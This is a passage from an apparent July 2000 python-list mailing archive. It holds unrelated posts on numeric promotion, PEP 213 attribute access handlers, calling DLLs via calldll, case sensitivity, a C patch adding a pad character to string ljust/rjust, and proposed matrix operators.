>>>> Because numbers are numbers and strings are not. Given, Python's numeric
>>>> model is not very good.
>> >
>> >What is wrong with Python's numeric model ?
>>
>> I may be a minority, but I don't like integers being converted
>> to floats automatically.
>
>I have no problem with that _if it wastes NO information in so
>doing_.  I believe that on typical machines of today (32-bit
>integers, 64-bit IEEE floating point) this can be guaranteed
>*for integers*.  *LONG* integers are another matter...!  And
>as I mentioned I think the rational solution to that problem is
>not to forbid numeric promotions but to ensure they never
>lead to information-loss by introducing the 'rational' type (a
>couple of long-integers taken as num/denom of a fraction).
>[That's why it's the *rational* solution:-)].

As long as the conversion can guarantee no information loss, I wouldn't have
a problem with it.  I've yet to use a language that can make that guarantee.
I guess I never looked into the details in Python (haven't done much
numerical stuff yet).  I had sort of assumed that floating point values were
32 bit, but if they're 64, then as you say, the problem is postponed until
long ints are involved.

-- 
Grant Edwards                   grante             Yow!  I wish I was on a
                                  at               Cincinnati street corner
                               visi.com            holding a clean dog!


From caribou2 at yahoo.com  Wed Jul 19 14:01:03 2000
From: caribou2 at yahoo.com (Karl Ulbrich)
Date: Wed, 19 Jul 2000 14:01:03 -0400
Subject: zip or marry etc
In-Reply-To: <3975E070.308511F4@roguewave.com>; from bjorn@roguewave.com on Wed, Jul 19, 2000 at 11:08:00AM -0600
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <T0ePelAgnJd5EwFl@jessikat.fsnet.co.uk> <m3og3uprzw.fsf@atrus.jesus.cam.ac.uk> <tOid5.135713$HK2.2425898@news20.bellglobal.com> <8l4g5i$8$1@slb7.atl.mindspring.net> <3975E070.308511F4@roguewave.com>
Message-ID: <20000719140103.E3336@exeter.exeter.org>

> > Olivier Dagenais <olivierS.dagenaisP at canadaA.comM> wrote:
> > >How about:
> > >
> > >"twist", "merge", "smash", "glue", "dna", "ladder", "join", "match",
> > >"collect", "pick", "lineup"???

Suggested elsewhere, but I liked "plait".

Karl Ulbrich




From blinocac1 at home.com  Sat Jul 15 12:35:48 2000
From: blinocac1 at home.com (David L. Heald Jr.)
Date: Sat, 15 Jul 2000 16:35:48 GMT
Subject: Tkinter?
Message-ID: <Ep0c5.24126$6y5.18334880@news2.rdc2.tx.home.com>

I'm writing a script that will act as a GUI interface to another script, and
I want to have file browsing ability. How do I call this in Tkinter? I have
looked through 2 different books, and a couple of help files and have yet to
find anything.




From paul at prescod.net  Thu Jul 20 11:05:02 2000
From: paul at prescod.net (Paul Prescod)
Date: Thu, 20 Jul 2000 10:05:02 -0500
Subject: Type checking in python?
References: <Ptvc5.40687$MT.1455524@news-west.usenetserver.com> <397296BC.415C97E1@prescod.net> <39770CD5.215D4C0C@cornell.edu>
Message-ID: <3977151E.4E6F7D94@prescod.net>

Samuel Scarano wrote:
> 
> First of all, are you referring to something specific by "Unicode strings"?
> (I wasn't aware of any standard unicode string class but I'd be interested
> if there is one.)

Python 1.6/2 has a Unicode string class.

> Anyway, interesting point, but isn't that what multiple inheritance is for?
> A static (or, for that matter, dynamic) typecheck ensuring that the function
> is called with a string would work fine with unicode strings as long as the
> unicode string class is a subclass of the string class.

This is a matter of long and ongoing debate in the object oriented
languages world. I think that the currently dominant view among those
who think deeply about it is that you inherit because you want some
"free methods" from a parent class and that is a totally different
operation from saying you want to act like that class.

C++ has a concept of "private inheritance" which is really inheritance
without subclassing. And you could have empty base classes to kludge
subclassing without inheritance. (so there is some distinction but it
isn't really clear in the language). You could call this type
inheritance without implementation inheritance also.

Java also takes a middle of the road stance. It allows type type
inheritance without implementation inheritance through interfaces but a
lot of important "interfaces" are defined as classes. From a purity
point of view it would be better if they were just interfaces.

A language called Sather makes the distinction clear and principled:
http://www.gnu.org/software/sather/ICSI_Sather/Documentation/EclecticTutorial/node5.html

Where Python would/should come down on these issues is an open question.

-- 
 Paul Prescod - Not encumbered by corporate consensus
"Hardly anything more unwelcome can befall a scientific writer than 
having the foundations of his edifice shaken after the work is 
finished.  I have been placed in this position by a letter from 
Mr. Bertrand Russell..." 
 - Frege, Appendix of Basic Laws of Arithmetic (of Russell's Paradox)



From jblazi at vipsurf.de  Sun Jul 30 08:27:09 2000
From: jblazi at vipsurf.de (Janos Blazi)
Date: Sun, 30 Jul 2000 14:27:09 +0200
Subject: Calling C Function Pointers from Python
References: <8ltqvn$pbl$1@nnrp1.deja.com> <Uwug5.15044$4p3.118240@news-server.bigpond.net.au> <39840d9b_1@news.newsfeeds.com> <zUUg5.16220$4p3.129370@news-server.bigpond.net.au>
Message-ID: <39841e3a_1@news.newsfeeds.com>

Neil Hodgson <neilh at scintilla.org> schrieb in im Newsbeitrag:
zUUg5.16220$4p3.129370 at news-server.bigpond.net.au...
> > Can somebody tell me, how a dll call from Python works on principal? Let
> us
> > suppose I'd like to something like caldll. Where should I start. Which
> > Python "primitives" have I to use?
>
>    I can explain how to use calldll. If you want to know how to write your
> own extensions then you should read the "Extending and Embedding the
Python
> Interpreter" document which is part of the standard documentation package
> and should have been installed when you installed Python.
>
>    calldll is a low level Python extension libary which contains functions
> for creating buffers, loading DLLs, finding the address of functions
within
> the loaded DLLs, and calling the functions. On top of that is a higher
level
> windll module that makes it more convenient to call.
>
>    Here is a sequence of calls:
>
> import calldll
> kernel32 = calldll.load_library('kernel32.dll')
> Beep = calldll.get_proc_address(kernel32, "Beep")
> ret = calldll.call_foreign_function(Beep,'ll','l',(1000,500))
>
>    Neil

Thx. Can you (additionally) explain the meaning of 'll' and 'l' and give an
example where I receive a return value (a double for example)?




-----= Posted via Newsfeeds.Com, Uncensored Usenet News =-----
http://www.newsfeeds.com - The #1 Newsgroup Service in the World!
-----==  Over 80,000 Newsgroups - 16 Different Servers! =-----


From R.Brodie at rl.ac.uk  Wed Jul 26 11:54:30 2000
From: R.Brodie at rl.ac.uk (Richard Brodie)
Date: Wed, 26 Jul 2000 16:54:30 +0100
Subject: polymorphism  (was  Re: Type checking in python?)
References: <8lmo4i$s28$1@news.kth.se>
Message-ID: <8ln1jo$rm8@newton.cc.rl.ac.uk>

"Oivvio Polite" <oivvio at cajal.mbb.ki.se> wrote in message news:8lmo4i$s28$1 at news.kth.se...

> For instance I want the constructor to take either a filename, a file object
> or a database connection object.

><paul at prescod.net> wrote:
>> Let me also point out that in many cases, this style of programming
>> would be frowned upon by serious Python programmers.

Polymorphism and method overloading aren't really the same thing at all.
What Paul was saying was that Python lacks (or doesn't want) a Java
like interface concept. So if you wanted a method to be able to write
to any stream, you can't specify that in the code. And attempting to
enumerate all possible streams would break polymorphism. Python
takes the approach that if it looks like a fish and smells like a fish, it
probably is a fish.

Now what you are doing is rather different. You have three
different things: there is nothing that you could say 'filename', 'file
object', and 'database connection' are all kinds of. Except 'object'
perhaps.

How to solve the problem? One approach would be to use a factory
style and have three functions: generateXFromFileName(), generateXFromFileObject(),
generateXFromDBConn().




From jkraska1 at san.rr.com  Fri Jul 14 13:24:36 2000
From: jkraska1 at san.rr.com (Courageous)
Date: Fri, 14 Jul 2000 17:24:36 GMT
Subject: Why make a language case sensitive?
References: <000801bfeda1$fcd99a20$6cb745c6@timaratz>
Message-ID: <396F4D72.C8AC5F14@san.rr.com>

Peter Timaratz wrote:
> 
> I can't think of any advantages to a case sensitive language. Python is a
> very well-designed language though, so I imagine there is a good reason that
> it is case sensitive. So what are the advantages of a case sensitive
> language?

I CAn'T thINk of ANy ADVAnTAgEs to a CaSE SENsItive lAnGUaGE. PythON Is AvErY
WELl-DEsigNEd lANGUaGE thouGh, SO I ImAgiNe TheRE iS a Good rEAson thatiT is
Case sENsitIVE. So WhAT ARe tHE AdVAntAgEs of a case SENSITiVelanGuAge?



C/


From sjoerd at oratrix.nl  Thu Jul 20 08:07:38 2000
From: sjoerd at oratrix.nl (Sjoerd Mullender)
Date: Thu, 20 Jul 2000 14:07:38 +0200
Subject: BUG: File modes under IRIX
In-Reply-To: Your message of Thu, 20 Jul 2000 12:08:13 +0300.
             <8l6fjk$19r9$1@learnet.freenet.hut.fi> 
References: <8l6fjk$19r9$1@learnet.freenet.hut.fi> 
Message-ID: <20000720120739.58F3E31047C@bireme.oratrix.nl>

On Thu, Jul 20 2000 "Sami Hangaslammi" wrote:

> Python version: Python 1.5.2 (#2, Mar 22 2000, 10:10:50)  [GCC 2.8.1] on
> irix646
> 
> When using os.makedirs('foo/bar',0755) (or os.mkdir) the mode of the created
> directories is incorrectly set as rwx------.
> 
> Is this a known problem or am I just doing something wrong (I'm terribly
> unexperienced when it comes to *x systems)?

Not when I do this.  I tried this on IRIX 6.5.2, and the mode of the
two directories that were created (foo and foo/bar) were 755.  Are you
sure your umask isn't set to 0077?  Try the command "umask" in your
shell.

-- Sjoerd Mullender <sjoerd.mullender at oratrix.com>



From olivierS.dagenaisP at canadaA.comM.bbs  Sun Jul 16 17:00:15 2000
From: olivierS.dagenaisP at canadaA.comM.bbs (olivierS.dagenaisP at canadaA.comM.bbs)
Date: 16 Jul 2000 21:00:15 GMT
Subject: Why make a language case sensitive?
Message-ID: <3bQZdE$kqT@openbazaar.net>

> ill take a look at it, although my guess is that I will stick with
> Ultra Edit until I get around to making my own editor

If we all combined our efforts on "Boa Constructor", "wxDesigner" and
"PythonWin", we may just already have everything we need to kick every other
language's or IDE's rear-end... : )  Do you have an URL for Ultra Edit?
You've sparked my curiosity..

> > > it is said the man who knew the language inside out :-)
> > I'm sorry, I don't follow...
> I was just showing off :-)
> saying yes var is the way you do it, when you do it in
> JavaScript/JScript, and at the same time saying that
> I know JScript inside out

Ah, I think I could have used a little comma after "it is", as in

"It is", said the man who knew the language inside out.

rather than my interpretation:

It is said that the man knew the language inside out.

...a little different, isn't it?  : )

> yes the 125 wasn't much fun - I haven't looked at 132 yet,
> I have been busy developing a major online consumer database in
> ASP/Jscript, I actually considdered using Python but I couldn't
> figure out how to set the values Session and Application Objects...

I also thought 125 wasn't too good, but that's because I thought I had
grabbed the latest version...  132 is a big improvement, you really should
try it!

> aye one thing only - and of course I know the question, isn't
> that what we earthlings are here for? ;-)

Yeah, but our planet was destroyed five minutes before the "computation" was
complete.

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


From milenko at moonshine.co.uk  Sun Jul 23 09:09:55 2000
From: milenko at moonshine.co.uk (Jack)
Date: 23 Jul 2000 13:09:55 GMT
Subject: Newbie pythoner, with bizzare problem
References: <8F79257Amilenkomoonshinecouk@194.73.73.116> <m33dl2o39d.fsf@atrus.jesus.cam.ac.uk> <8F7985804milenkomoonshinecouk@194.73.73.116> <3979F974.A0EBC279@roguewave.com>
Message-ID: <8F7A985D3milenkomoonshinecouk@194.73.73.116>

Thanks guys, you've been a real help!


On with the pythoning...





-Jack Green


From bjrubble at shell16.ba.best.com  Fri Jul  7 19:34:55 2000
From: bjrubble at shell16.ba.best.com (Adam Clark)
Date: 7 Jul 2000 23:34:55 GMT
Subject: Help! Indenting craziness!
Message-ID: <8k5pev$182l$1@nntp1.ba.best.com>

Hi all,

Does anybody have a technique for avoiding syntax errors due to blank,
unindented lines?  I'm getting these on a regular basis, and I haven't
figured out any reliable way to fix them.  Sometimes if I take every line
in the vicinity, backspace it to the end of the previous line, and 
reposition it, the errors go away.  But often they don't, and I end up
just deleting chunks and rewriting them until Python stops complaining.

This is with Emacs and python-mode.

Thanks
Adam


From cg at gaia.cdg.acriter.nl  Tue Jul 25 14:37:12 2000
From: cg at gaia.cdg.acriter.nl (Cees de Groot)
Date: 25 Jul 2000 20:37:12 +0200
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <m3bsznpy4n.fsf@localhost.localdomain> <8li3gg$7vg$1@gaia.cdg.acriter.nl> <an3rnsgf612vhfrbcko3tld5guka80miik@4ax.com>
Message-ID: <8lkmoo$lim$1@gaia.cdg.acriter.nl>

Toby Dickenson  <tdickenson at geminidataloggers.com> said:
>>And this gets /really/ great if your code runs in a persistent VM, like
>>Smalltalk.
>
>                  ...... or like python, using ZODB
>
No, it's not the same. In your Smalltalk environment you just say "save&quit",
and the whole VM state is dumped on disk. ZODB is "just" an OODB, though
a very useful one (I use it under a number of CGI scripts on my site).


-- 
Cees de Groot               http://www.cdegroot.com     <cg at cdegroot.com>
GnuPG 1024D/E0989E8B 0016 F679 F38D 5946 4ECD  1986 F303 937F E098 9E8B
Forge your CipherSaber and list it: http://www.xs4all.nl/~cg/ciphersaber/


From paul at prescod.net  Sat Jul 22 00:11:56 2000
From: paul at prescod.net (Paul Prescod)
Date: Fri, 21 Jul 2000 23:11:56 -0500
Subject: New PEP: Attribute Access Handlers
Message-ID: <39791F0C.CDC13E79@prescod.net>

http://python.sourceforge.net/peps/pep-0213.html

PEP: 213
Title: Attribute Access Handlers
Version: $Revision: 1.3 $
Owner: paul at prescod.net (Paul Prescod)
Python-Version: 2.0
Status: Incomplete


Introduction

     It is possible (and even relatively common) in Python code and 
     in extension modules to "trap" when an object's client code 
     attempts to set an attribute and execute code instead. In other 
     words it is possible to allow users to use attribute assignment/
     retrieval/deletion syntax even though the underlying implementation 
     is doing some computation rather than directly modifying or
reporting
     a binding.

     This PEP describes a feature that makes it easier, more efficient
     and safer to implement these handlers in Python class instances.

Justification

    Scenario 1:

        You have a deployed class that works on an attribute named
        "stdout". After a year, you think it would be better to
        check that stdout is really an object with a "write" method
        at the moment of assignment. Rather than change to a
        setstdout method (which would be incompatible with deployed
        code) you would rather trap the assignment and check the
        object's type.

    Scenario 2:

        You want to be as compatible as possible with an object 
        model that has a concept of attribute assignment. It could
        be the W3C Document Object Model or a particular COM 
        interface (e.g. the PowerPoint interface). In that case
        you may well want attributes in the model to show up as
        attributes in the Python interface, even though the 
        underlying implementation may not use attributes at all.

    Scenario 3:

        A user wants to make an attribute read-only.

    In short, this feature allows programmers to separate the 
    interface of their module from the underlying implementation
    for whatever purpose. Again, this is not a new feature but
    merely a new and more robust syntax for something that can
    already be implemented.

Current Solution

    To make some attributes read-only:

    class foo:
       def __setattr__( self, name, val ):
          if name=="readonlyattr":
             raise TypeError
          elif name=="readonlyattr2":
             raise TypeError
          ...
          else:
             self.__dict__["name"]=val

     This has the following problems:

     1. The creator of the method must be intimately aware of whether
        somewhere else in the class hiearchy __setattr__ has also been
        trapped for any particular purpose. If so, she must specifically
        call that method rather than assigning to the dictionary. There
        are many different reasons to overload __setattr__ so there is a
        decent potential for clashes. For instance object database
        implementations often overload setattr for an entirely unrelated
        purpose.

     2. The string-based switch statement forces all attribute handlers 
        to be specified in one place in the code. They may then dispatch
        to task-specific methods (for modularity) but this could cause
        performance problems.

     3. Logic for the setting, getting and deleting must live in 
        __getattr__, __setattr__ and __delattr__. Once again, this can
        be mitigated through an extra level of method call but this is 
        inefficient.

Proposed Syntax
 
    Special methods should declare themselves with definitions of the
    following form:

    class x:
        def __attr_XXX__(self, op, val ):
            if op=="get":
                return someComputedValue(self.internal)
            elif op=="set":
                self.internal=someComputedValue(val)
            elif op=="del":
                del self.internal

    Client code looks like this:

    inst=x()
    fooval=inst.XXX
    inst.XXX=fooval+5
    del x.XXX

 Semantics
 
     Attribute references of all three kinds should call the method.
     The op parameter can be "get"/"set"/"del". Of course this string
     will be interned so the actual checks for the string will be
     very fast.
 
     It is disallowed to actually have an attribute named XXX in the
     same instance dictionary as a method named __attr_XXX__.
     If both are declared in a class then the last one declared 
     replaces the other one.

     An implementation of __attr_XXX__ takes precedence over an
     implementation of __getattr__ based on the principle that
     __getattr__ is supposed to be invoked only after as a
     last resort after an appropriate attribute lookup has failed.

     An implementation of __attr_XXX__ takes precedence over an
     implementation of __setattr__ in order to be consistent. The
     opposite choice seems fairly feasible also, however. The same
     goes for __del_y__.

Proposed Implementation
 
    There is a new object type called an attribute access handler. 
    Objects of this type have the following attributes:

       name (e.g. XXX, not __attr__XXX__
       method (pointer to a method object

    Class construction
   
        In PyClass_New, methods of the appropriate form will be
        detected and converted into objects (just like unbound method
        objects). These are stored in the class __dict__ under the name
        XXX. The original method is stored as an unbound method under
        its original name.

        If there are any attribute access handlers in an class at all,
        a flag is set. Let's call it "I_have_computed_attributes" for
        now. Derived classes inherit the flag from base classes. 

    Instance construction

        Instances inherit the "I_have_computed_attributes" flag from 
        classes. No other changes to PyInstance_New are anticipated.

    Property fetching

        At the layer, Python instance attribute lookup is always done 
        through PyInstance_getattr.
 
        A "get" proceeds as usual until just before the object is
        returned.  In addition to the current check whether the returned
        object is a method it would also check whether a returned object
        is an access handler. If so, it would invoke the getter method
        and return the value. To remove an attribute access handler you
        could directly fiddle with the dictionary.  Gets should be more
        efficient than they are today with __getattr__ and no different
        for classes that do not use the feature at all.
 
        A set proceeds by checking the "I_have_computed_attributes"
        flag. If it is not set, everything proceeds as it does today. If
        it is set then we must do a dictionary get on the requested
        attribute name. If it returns an attribute access handler then 
        we call the setter function with the value. If it returns any 
        other object then we discard the result and continue as we do 
        today. Note that having an attribute access handler will mildly 
        affect attribute "setting" performance for all sets on a 
        particular instance, but no more so than today, using 
        __setattr__. 
 
        The I_have_computed_attributes flag is intended to eliminate the
        performance degradation of an extra "get" per "set" for objects
        not using this feature. Checking this flag should have miniscule
        performance implications for all objects.

       The implementation of delete is basically identical to the 
       implementation of set.

Caveats

    1. You might note that I have not proposed any logic to keep
       the I_have_computed_attributes flag up to date as attributes
       are added and removed from the instance's dictionary. This is
       consistent with current Python. If you add a __setattr__ method
       to an object after it is in use, that method will not behave as
       it would if it were available at "compile" time. The dynamism is
       arguably not worth the extra implementation effort. This snippet
       demonstrates the current behavior:

	>>> def prn(*args):print args
	>>> class a:
	...    __setattr__=prn
        >>> a().foo=5
	(<__main__.a instance at 882890>, 'foo', 5)

	>>> class b: pass 
	>>> bi=b()
	>>> bi.__setattr__=prn
	>>> b.foo=5

     2. Assignment to __dict__["XXX"] can overwrite the attribute
	access handler for __attr_XXX__. Typically the access handlers 
        will store information away in private __XXX variables

     3. An attribute access handler that attempts to call setattr or
        getattr on the object itself can cause an infinite loop (as with
       __getattr__) Once again, the solution is to use a special 
       (typically private) variable such as __XXX.

-- 
 Paul Prescod - Not encumbered by corporate consensus
New from Computer Associates: "Software that can 'think', sold by 
marketers who choose not to."



From beat.bolli at earthling.net  Sun Jul 16 10:38:05 2000
From: beat.bolli at earthling.net (Beat Bolli)
Date: Sun, 16 Jul 2000 16:38:05 +0200
Subject: [Patch] {l,r}just with optional pad character parameter
Message-ID: <8kshd3$l1h$2@bw107zhb.bluewin.ch>

Hi all

this is my first crack at Python patching. I was simply appalled to find
'3'.zfill(5) not working anymore in 2.0b1, so I decided to do something
about it. Now since zfill can be expressed as rjust with an optional pad
characer argument, I implemented this.

This is my 12th wedding anniversary present to the Python community.

Live long and prosper!

[Can't post an attachment?!]


Beat Bolli
--
PGP: 0x506A903A; 49D5 794A EA77 F907 764F D89E 304B 93CF 506A 903A
ICBM: 47? 02' 43.0" N, 07? 16' 17.5" E (WGS84)


--- stringobject.c.orig Sun Jul 16 15:15:15 2000
+++ stringobject.c Sun Jul 16 16:05:55 2000
@@ -1767,16 +1767,17 @@
 }

 static char ljust__doc__[] =
-"S.ljust(width) -> string\n\
+"S.ljust(width [, padchar]) -> string\n\
 \n\
 Return S left justified in a string of length width. Padding is\n\
-done using spaces.";
+done using spaces unless padchar is given.";

 static PyObject *
 string_ljust(PyStringObject *self, PyObject *args)
 {
     int width;
-    if (!PyArg_ParseTuple(args, "i:ljust", &width))
+    char padchar = ' ';
+    if (!PyArg_ParseTuple(args, "i|c:ljust", &width, &padchar))
         return NULL;

     if (PyString_GET_SIZE(self) >= width) {
@@ -1784,21 +1785,22 @@
         return (PyObject*) self;
     }

-    return pad(self, 0, width - PyString_GET_SIZE(self), ' ');
+    return pad(self, 0, width - PyString_GET_SIZE(self), padchar);
 }


 static char rjust__doc__[] =
-"S.rjust(width) -> string\n\
+"S.rjust(width [, padchar]) -> string\n\
 \n\
 Return S right justified in a string of length width. Padding is\n\
-done using spaces.";
+done using spaces unless padchar is given.";

 static PyObject *
 string_rjust(PyStringObject *self, PyObject *args)
 {
     int width;
-    if (!PyArg_ParseTuple(args, "i:rjust", &width))
+    char padchar = ' ';
+    if (!PyArg_ParseTuple(args, "i|c:rjust", &width, &padchar))
         return NULL;

     if (PyString_GET_SIZE(self) >= width) {
@@ -1806,7 +1808,7 @@
         return (PyObject*) self;
     }

-    return pad(self, width - PyString_GET_SIZE(self), 0, ' ');
+    return pad(self, width - PyString_GET_SIZE(self), 0, padchar);
 }





From skip at mojam.com  Wed Jul 19 16:48:53 2000
From: skip at mojam.com (Skip Montanaro)
Date: Wed, 19 Jul 2000 15:48:53 -0500 (CDT)
Subject: Hey folks! Read This For Pointers to Python 2.0, PEPs, etc
In-Reply-To: <8l4ph6$vj$1@nnrp1.deja.com>
References: <20000718100813.C21354@newcnri.cnri.reston.va.us>
	<u8zuzp0n7.fsf@ctwd0143.fitlinxx.com>
	<3974E8CD.55215FD9@inrialpes.fr>
	<8l4ph6$vj$1@nnrp1.deja.com>
Message-ID: <14710.5173.255089.614501@beluga.mojam.com>

    ric> It's bad it's so hard, hard, hard to find current information about
    ric> Python on the web starting from would-be obvious points.
    ric> (Exercise: starting from www.python.org/, find anything "mainstream"
    ric> about Python 2, or "Python-dev" ... :-( )
    ric> (By "mainstream" I mean something like "What's new in Python 2.0" -
    ric> yes I eventally was lucky enough to get a hand on that one -- or
    ric> "table of PEP documents/proposals/..." -- these items are still
    ric> wanted, if they exist.)

Please note (everyone!) that Python is still in a major transition stage at
the moment:

* Guido and his band of merriment have left CNRI for BeOpen.

* http://www.python.org is still at CNRI, Guido, Barry, et al can no longer
  just fiddle some bits on the web site to magically make new pointers
  available.

* CNRI and BeOpen were (last I heard) still in discussion about the handoff
  of the technology (hence the delayed release of Python 1.6 and/or 2.0).

* The PEP stuff is *brand new* - less than a week old.  The only way I know
  of to get the current PEPs is via CVS from SourceForge.

The first place you should look for details about what Guido and the BeOpen
gang are doing with Python is http://www.pythonlabs.com/.  It has a What's
New page (click the Technology link on the front page) as well as directions
for grabbing the latest CVS sources from SourceForge.  The Python project
page at SourceForge is https://sourceforge.net/project/?group_id=5470.

Hope this helps...

-- 
Skip Montanaro, skip at mojam.com, http://www.mojam.com/, http://www.musi-cal.com/
"To get what you want you must commit yourself for sometime" - fortune cookie



From timaratz at lisco.com  Fri Jul 14 16:08:14 2000
From: timaratz at lisco.com (Peter Timaratz)
Date: Fri, 14 Jul 2000 15:08:14 -0500
Subject: Why make a language case sensitive?
In-Reply-To: <PLFb5.358$Ew5.7593@news6-win.server.ntlworld.com>
Message-ID: <000c01bfedcf$3e316160$6cb745c6@timaratz>

I thought there might be a reason why it needs to be case sensitive. I guess
if you come from a Unix background (which I don't) and you create a
language, then it seems natural to make it case sensitive.

I'm not trying to start a war, so I'll refrain from expressing my opinion.
:)

> -----Original Message-----
> From: python-list-admin at python.org
> [mailto:python-list-admin at python.org]On Behalf Of richard_chamberlain
> Sent: Friday, July 14, 2000 9:52 AM
> To: python-list at python.org
> Subject: Re: Why make a language case sensitive?
>
>
> Hi Peter,
>
> That's a bit of a sore point at the moment :-)
>
> do a search on deja for case sensitive and you'll find a whole argument on
> the subject.
>
> Richard
>
> Peter Timaratz <timaratz at lisco.com> wrote in message
> news:000801bfeda1$fcd99a20$6cb745c6 at timaratz...
> > I can't think of any advantages to a case sensitive language.
> Python is a
> > very well-designed language though, so I imagine there is a good reason
> that
> > it is case sensitive. So what are the advantages of a case sensitive
> > language?
> >
> >
>
>
> --
> http://www.python.org/mailman/listinfo/python-list
>




From kpmurphy at my-deja.com  Mon Jul 10 17:01:25 2000
From: kpmurphy at my-deja.com (Keith Murphy)
Date: Mon, 10 Jul 2000 21:01:25 GMT
Subject: clipboard
Message-ID: <8kddiq$8oc$1@nnrp1.deja.com>

how do you read from / write to the system clipboard from Tkinter?  i'm
on a unix machine, if that matters.  Thanks,

-->keith


Sent via Deja.com http://www.deja.com/
Before you buy.


From sblakey at freei.com.bbs  Mon Jul 17 20:20:02 2000
From: sblakey at freei.com.bbs (sblakey at freei.com.bbs)
Date: 18 Jul 2000 00:20:02 GMT
Subject: event handler advice
Message-ID: <3bRUP2$kS7@openbazaar.net>

On Mon, Jul 17, 2000 at 03:49:02PM -0700, Pete Shinners wrote:
> i'm trying to write a simple event handler python class.
> so far i haven't come up with an 'elegant' solution i was
> expecting.
>
    <<snipped by Sean Blakey>>
>
> my guess is i need some dictionary that defines the
> messages and their routine name (no shortcut way to do
> this unless python had #define like macros :])
>
> messages = {msg.INIT:"INIT", msg.PLAY:"PLAY", ...etc}
>
> then a routine like
>
> class basehandler:
>     def handle(messageid):
>         name = messages[messageid]
>         self.name()   #HAHA, no really, how do i do this?
>
> but i'm not exactly sure how to write this. need help, thx
>
>
>
Probably he simplest solution is along the lines of:

class basehandler:
    def handle(messageid):
        name = messages[messageid]
        bound_method = getattr(self, name)
        bound_method()

Personally, I would be more comfortable with:

class basehandler:
    def handle(messageid):
        try:
            name = messages[messageid]
            bound_method = getattr(self, name)
        except KeyError:
            if __debug__: print 'Invalid message sent', messageid
            # or other error handling (syslog?)
        except AttributeError:
            if __debug__: print 'Unhandled message received', name
            # other misc error handling
        else:
            bound_method()

This approach allows trapping of "illegitimate" messages (or messages you
haven't gotten around to implementing yet) without the nastiness of an unhandles
exception.
        -Sean

--
Sean Blakey, sblakey at freei.com
Software Developer, FreeInternet.com
(253)796-6500x1025
"It ain't so much the things we don't know that get us in trouble.  It's the
things we know that ain't so."
-- Artemus Ward aka Charles Farrar Brown


From wware at world.std.com  Thu Jul 13 22:42:49 2000
From: wware at world.std.com (Will Ware)
Date: Fri, 14 Jul 2000 02:42:49 GMT
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395D7E14.B18EC77D@san.rr.com> <3968fadf.299209218@nntp.interaccess.com> <396A1436.3B6BD73B@sage.att.com> <Epxa5.13351$Tb7.89807@news-server.bigpond.net.au> <8kf4o5$fao$1@nnrp1.deja.com>
Message-ID: <Fxo27D.J8y@world.std.com>

In article <Epxa5.13351$Tb7.89807 at news-server.bigpond.net.au>,
  "Neil Hodgson" <neilh at scintilla.org> wrote:
>    Now that Microsoft have revealed their Intermediate Language (IL)
> virtual
> machine, are we going to see a version of Python that compiles
> directly to
> IL? Or will Python byte codes still be interpreted by C code?

Does anybody know if the IL virtual machine is amenable to the
kinds of stacklessness tricks that Chris Tismer has been doing
with the CPython VM?

-- 
 - - - - - - - - - - - - - - - - - - - - - - - -
Resistance is futile. Capacitance is efficacious.
Will Ware	email:    wware @ world.std.com


From moshez at math.huji.ac.il  Wed Jul 12 10:54:35 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Wed, 12 Jul 2000 17:54:35 +0300 (IDT)
Subject: Why are some infinite recursion stack overflows hard to deal
 with?
In-Reply-To: <etdog43o1wh.fsf@nerd-xing.mit.edu>
Message-ID: <Pine.GSO.4.10.10007121752190.15424-100000@sundial>

On 12 Jul 2000, Alex wrote:

> 
> Probably everyone who could answer this is busy on the python-dev list,
> but I'll ask now, anyway.  Why are some infinite recursion stack
> overflows harder for python to deal with than others?  This is an
> example from the bugs list:
> 
> class T:
>     def __str__(self):
>         print self
> print T()
> 
> Is this just dumping stuff on the stack faster than a vanilla infinite
> recursion, causing an overflow before the maximum recursion depth is
> reached?  If so, what sort of stuff is it dumping?  And where would I
> look in the source to understand this sort of thing?

Python has a hack to try to deal with that: it checks bounds on the
recursion itself. However, Python's guess is a bit off on windows.

-- 
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.
http://advogato.org/person/moshez




From gregory.lielens at fft.be  Thu Jul 20 05:45:10 2000
From: gregory.lielens at fft.be (Gregory Lielens)
Date: Thu, 20 Jul 2000 11:45:10 +0200
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <m2u2dl1xf4.fsf@spiff.home.com>
Message-ID: <3976CA26.AAAC8C3F@fft.be>

> Based on my ramblings I'll toss out a proposed operator set for the
> pack to feed upon:
> 
>         Operator        Name
>           .*             matmul
>           ./             matdiv
>           /.             matsol
>           .** or(?) .^   matpow
>           *              mul
>           /              div
>           %,^,&,|,**     mod, xor, and, or, pow
> 
> With broadcasting / nonbroadcasting decided by the individual packages.
> 
> My 3 cents.
> 
> -tim

I agree almost completely with Tim's arguments, except for the choice of
. instead of @.
I would prefer @ because 
 .* means elementwise for Matlab users, 
 matlab notation is more or less a standard for numerical matrix
computation (at least, it is the most widely used)
 inversing the meaning of * and .* in Python compared to the "standard"
is IMO asking for far more trouble than to introduce
 new symbols...

Here is thus my proposal (which is in fact currently implemented,
together with the aug-assign patch...I should post the complete patch so
that everybody can check it...but where?)

          Operator        Name
           @              matmul
           @/             matdiv
           /@             matsol
           @@             matpow
           *              mul
           /              div
           %,^,&,|,**     mod, xor, and, or, pow

@ was choosen over @* because @ is already quite heavy by itself...

@@ follow naturally, and @/, /@ the only way I came to differentiate
matsol of matdiv...
These three symbol are probably too heavy, but it is maybe not a bad
thing, imho, as they are potentially very CPU-intensive, the heaviness
can act as a kind of warning: use with care. Moreover, I think these
three operator work well with matrices, not 
with general Nd array. @ on the other hand, should be defined as an
inner product
a=b at c is a(i1,...,in,j1,...,jm) = Sum_over_k (
b(i1,...,in,k)*c(k,j1,..,jn))
the three ugly @@, @/,/@ are thus a lttle less general that the "pretty"
(not so ugly is a better way to describe it :)) @.

I do not have introduced @+, @- for the same reason as Tim: there is no
fundamental difference between matrix and element  addition and
substraction, they would be introduced as a way to specify wether
